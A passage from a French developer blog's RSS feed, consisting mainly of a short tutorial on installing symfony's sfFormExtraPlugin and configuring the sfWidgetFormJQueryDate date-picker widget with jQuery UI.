	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html&amp;title=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=Fil%20d%27Ariane%20ou%20%22chemin%20de%20fer%22%20appel%C3%A9%20aussi%20%22breadcrumbs%22%20est%20l%27un%20des%20%C3%A9l%C3%A9ments%20indispensables%20dans%20un%20site%20web%2C%20il%20est%20souvent%20pr%C3%A9sent%20avant%20le%20contenu%20de%20toute%20page%20web%20et%20permet%20d%27indiquer%20aux%20utilisateurs%20leur%20emplacement%20%C3%A0%20l%27int%C3%A9rieur%20du%20" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html&amp;title=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html&d=http://ping.fm/ref/?link=TARGET%26title=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane%26body=Fil%20d%27Ariane%20ou%20%22chemin%20de%20fer%22%20appel%C3%A9%20aussi%20%22breadcrumbs%22%20est%20l%27un%20des%20%C3%A9l%C3%A9ments%20indispensables%20dans%20un%20site%20web%2C%20il%20est%20souvent%20pr%C3%A9sent%20avant%20le%20contenu%20de%20toute%20page%20web%20et%20permet%20d%27indiquer%20aux%20utilisateurs%20leur%20emplacement%20%C3%A0%20l%27int%C3%A9rieur%20du%20" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html&d=mailto:?subject=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html&amp;title=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane&amp;selection=Fil%20d%27Ariane%20ou%20%22chemin%20de%20fer%22%20appel%C3%A9%20aussi%20%22breadcrumbs%22%20est%20l%27un%20des%20%C3%A9l%C3%A9ments%20indispensables%20dans%20un%20site%20web%2C%20il%20est%20souvent%20pr%C3%A9sent%20avant%20le%20contenu%20de%20toute%20page%20web%20et%20permet%20d%27indiquer%20aux%20utilisateurs%20leur%20emplacement%20%C3%A0%20l%27int%C3%A9rieur%20du%20" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html&amp;title=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html&amp;submitHeadline=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane&amp;submitSummary=Fil%20d%27Ariane%20ou%20%22chemin%20de%20fer%22%20appel%C3%A9%20aussi%20%22breadcrumbs%22%20est%20l%27un%20des%20%C3%A9l%C3%A9ments%20indispensables%20dans%20un%20site%20web%2C%20il%20est%20souvent%20pr%C3%A9sent%20avant%20le%20contenu%20de%20toute%20page%20web%20et%20permet%20d%27indiquer%20aux%20utilisateurs%20leur%20emplacement%20%C3%A0%20l%27int%C3%A9rieur%20du%20&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html&amp;title=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html&amp;title=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/developpement-web/joomla/joomla15-modifier-le-fil-dariane.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>symfony: Utiliser sfWidgetFormJQueryDate avec sfFormExtraPlugin</title>
		<link>http://www.mcherifi.org/developpement-web/symfony/symfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html</link>
		<comments>http://www.mcherifi.org/developpement-web/symfony/symfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html#comments</comments>
		<pubDate>Thu, 01 Apr 2010 17:45:27 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Symfony]]></category>
		<category><![CDATA[datepicker]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[jqueryui]]></category>
		<category><![CDATA[sfFormExtraPlugin]]></category>
		<category><![CDATA[sfWidgetFormJQueryDate]]></category>
		<category><![CDATA[symfony datepicker]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=665</guid>
		<description><![CDATA[Tweet
Vu le très peu de documentation que j&#8217;ai pu trouvé au sujet du plugin sfFormExtraPlugin de symfony, voici un guide rapide qui vous permettra d&#8217;installer le plugin sfFormExtraPlugin et pouvoir afficher un calendrier pour les champs de type date grâce au widget sfWidgetFormJQueryDate, voici donc les étapes à suivre:
1 &#8211; Installer le plugin sfFormExtraPlugin
En mode [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/developpement-web/symfony/symfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html" data-text="symfony: Utiliser sfWidgetFormJQueryDate avec sfFormExtraPlugin" data-count="horizontal">Tweet</a><p><a href="http://www.mcherifi.org/wp-content/uploads/2010/04/sfWidgetFormJQueryDate.jpg"><img src="http://www.mcherifi.org/wp-content/uploads/2010/04/sfWidgetFormJQueryDate.jpg" alt="" title="Résultat" width="666" height="208" class="aligncenter size-full wp-image-672" /></a></p>
<p>Vu le très peu de documentation que j&#8217;ai pu trouvé au sujet du plugin sfFormExtraPlugin de symfony, voici un guide rapide qui vous permettra d&#8217;installer le plugin sfFormExtraPlugin et pouvoir afficher un calendrier pour les champs de type date grâce au widget sfWidgetFormJQueryDate, voici donc les étapes à suivre:<br />
<h2>1 &#8211; Installer le plugin sfFormExtraPlugin</h2>
<p>En mode console, positionnez vous sur le dossier d&#8217;installation du projet et exécuter : </p>
<pre class="brush: plain">./symfony plugin:install sfFormExtraPlugin</pre>
<h2>2 &#8211; Télecharger et mettre en place les librairies jQuery nécessaire</h2>
<p>Malheureusement le plugin sfFormExtraPlugin n&#8217;inclue pas les librairies externes nécessaire au fonctionnement, il faut le faire à la main!</p>
<p>il faut donc télécharger JQuery et <acronym title="JQuery User Interface">JQuery UI</acronym>:</p>
<ul>
<li>Allez sur le site de <a href="http://jqueryui.com/download" target="_blank">jQuery UI</a></li>
<li>Dans la liste des composants déchochez toutes les cases sauf  Core et Datepicker</li>
<li>Sélectionner le thème qui vous convient à droite et cliquez Télécharger</li>
</ul>
<h2>3 &#8211; Placé les fichiers téléchargés dans le dossier web et modifier le fichier view.yml</h2>
<p>Décompresser jquery-ui-1.8custom.zip et copier les fichiers décompresser vers le dossier web ainsi:</p>
<ul>
<li>js/jquery-1.4.2.min.js et js/jquery-ui-1.8.custom.min.js dans le dossier /web/js</li>
<li>css/jquery-ui-1.8.custom.css dans le dossier /web/css</li>
<li>renommer le dossier css/theme/images/ en jquery-ui-images et mettez le dans /web/images/</li>
<li>Ouvrez le fichier /web/css/jquery-ui-1.8.custom.css et remplacer &laquo;&nbsp;images/&nbsp;&raquo; par &laquo;&nbsp;../images/jquery-ui-images/&nbsp;&raquo; pour corriger le chemin vers les images</li>
<li><a href="http://www.mcherifi.org/wp-content/uploads/2010/04/calendar.png" target="_blank">calendar.png</a> une petite icône qu&#8217;on affiche à coté du champs pour faire joli :p (à mettre dans /web/images/) </li>
</ul>
<p>Maintenant il faut inclure les fichiers javascript et css dans view.yml de notre application (par exemple /apps/backend/config/view.yml) :</p>
<p><strong>Ajout du fichier javascript</strong></p>
<pre class="brush: plain">
    javascripts:    [jquery-1.4.2.min.js, jquery-ui-1.8.custom.min.js]
</pre>
<p><strong>Ajout du fichier css</strong></p>
<pre class="brush: plain">
    stylesheets:    [jquery-ui-1.8.custom.css]
</pre>
<h2>4 &#8211; Mise en place du Widget dans la classe du formulaire</h2>
<pre class="brush: php">
class PrescripteursForm extends BasePrescripteursForm
{
  public function configure()
  {
    $this-&gt;widgetSchema[&#039;date_debut&#039;] = new sfWidgetFormJQueryDate(array(&#039;image&#039;=&gt;&#039;/images/calendar.png&#039;));
    $this-&gt;widgetSchema[&#039;date_fin&#039;] = new sfWidgetFormJQueryDate(array(&#039;image&#039;=&gt;&#039;/images/calendar.png&#039;));
  }
}
</pre>
<p>Et le tour est joué ;) ça devrai ressembler à ça : </p>
<p><a href="http://www.mcherifi.org/wp-content/uploads/2010/04/datewidgetOK.jpg"><br />
<img src="http://www.mcherifi.org/wp-content/uploads/2010/04/datewidgetOK.jpg" alt="" title="datewidgetOK" width="391" height="214" class="aligncenter size-full wp-image-669" /></a></p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html&d=http://twitter.com/home?status=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html&d=http://www.facebook.com/share.php?u=TARGET%26t=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html&amp;title=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin&amp;annotation=%0D%0AVu%20le%20tr%C3%A8s%20peu%20de%20documentation%20que%20j%27ai%20pu%20trouv%C3%A9%20au%20sujet%20du%20plugin%20sfFormExtraPlugin%20de%20symfony%2C%20voici%20un%20guide%20rapide%20qui%20vous%20permettra%20d%27installer%20le%20plugin%20sfFormExtraPlugin%20et%20pouvoir%20afficher%20un%20calendrier%20pour%20les%20champs%20de%20type%20date%20gr" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html&amp;title=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin&amp;notes=%0D%0AVu%20le%20tr%C3%A8s%20peu%20de%20documentation%20que%20j%27ai%20pu%20trouv%C3%A9%20au%20sujet%20du%20plugin%20sfFormExtraPlugin%20de%20symfony%2C%20voici%20un%20guide%20rapide%20qui%20vous%20permettra%20d%27installer%20le%20plugin%20sfFormExtraPlugin%20et%20pouvoir%20afficher%20un%20calendrier%20pour%20les%20champs%20de%20type%20date%20gr" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html&title=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html&amp;title=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin&amp;bodytext=%0D%0AVu%20le%20tr%C3%A8s%20peu%20de%20documentation%20que%20j%27ai%20pu%20trouv%C3%A9%20au%20sujet%20du%20plugin%20sfFormExtraPlugin%20de%20symfony%2C%20voici%20un%20guide%20rapide%20qui%20vous%20permettra%20d%27installer%20le%20plugin%20sfFormExtraPlugin%20et%20pouvoir%20afficher%20un%20calendrier%20pour%20les%20champs%20de%20type%20date%20gr" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html&amp;title=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=%0D%0AVu%20le%20tr%C3%A8s%20peu%20de%20documentation%20que%20j%27ai%20pu%20trouv%C3%A9%20au%20sujet%20du%20plugin%20sfFormExtraPlugin%20de%20symfony%2C%20voici%20un%20guide%20rapide%20qui%20vous%20permettra%20d%27installer%20le%20plugin%20sfFormExtraPlugin%20et%20pouvoir%20afficher%20un%20calendrier%20pour%20les%20champs%20de%20type%20date%20gr" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html&amp;title=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html&d=http://ping.fm/ref/?link=TARGET%26title=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin%26body=%0D%0AVu%20le%20tr%C3%A8s%20peu%20de%20documentation%20que%20j%27ai%20pu%20trouv%C3%A9%20au%20sujet%20du%20plugin%20sfFormExtraPlugin%20de%20symfony%2C%20voici%20un%20guide%20rapide%20qui%20vous%20permettra%20d%27installer%20le%20plugin%20sfFormExtraPlugin%20et%20pouvoir%20afficher%20un%20calendrier%20pour%20les%20champs%20de%20type%20date%20gr" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html&d=mailto:?subject=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html&amp;title=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin&amp;selection=%0D%0AVu%20le%20tr%C3%A8s%20peu%20de%20documentation%20que%20j%27ai%20pu%20trouv%C3%A9%20au%20sujet%20du%20plugin%20sfFormExtraPlugin%20de%20symfony%2C%20voici%20un%20guide%20rapide%20qui%20vous%20permettra%20d%27installer%20le%20plugin%20sfFormExtraPlugin%20et%20pouvoir%20afficher%20un%20calendrier%20pour%20les%20champs%20de%20type%20date%20gr" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html&amp;title=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html&amp;submitHeadline=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin&amp;submitSummary=%0D%0AVu%20le%20tr%C3%A8s%20peu%20de%20documentation%20que%20j%27ai%20pu%20trouv%C3%A9%20au%20sujet%20du%20plugin%20sfFormExtraPlugin%20de%20symfony%2C%20voici%20un%20guide%20rapide%20qui%20vous%20permettra%20d%27installer%20le%20plugin%20sfFormExtraPlugin%20et%20pouvoir%20afficher%20un%20calendrier%20pour%20les%20champs%20de%20type%20date%20gr&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html&amp;title=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html&amp;title=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
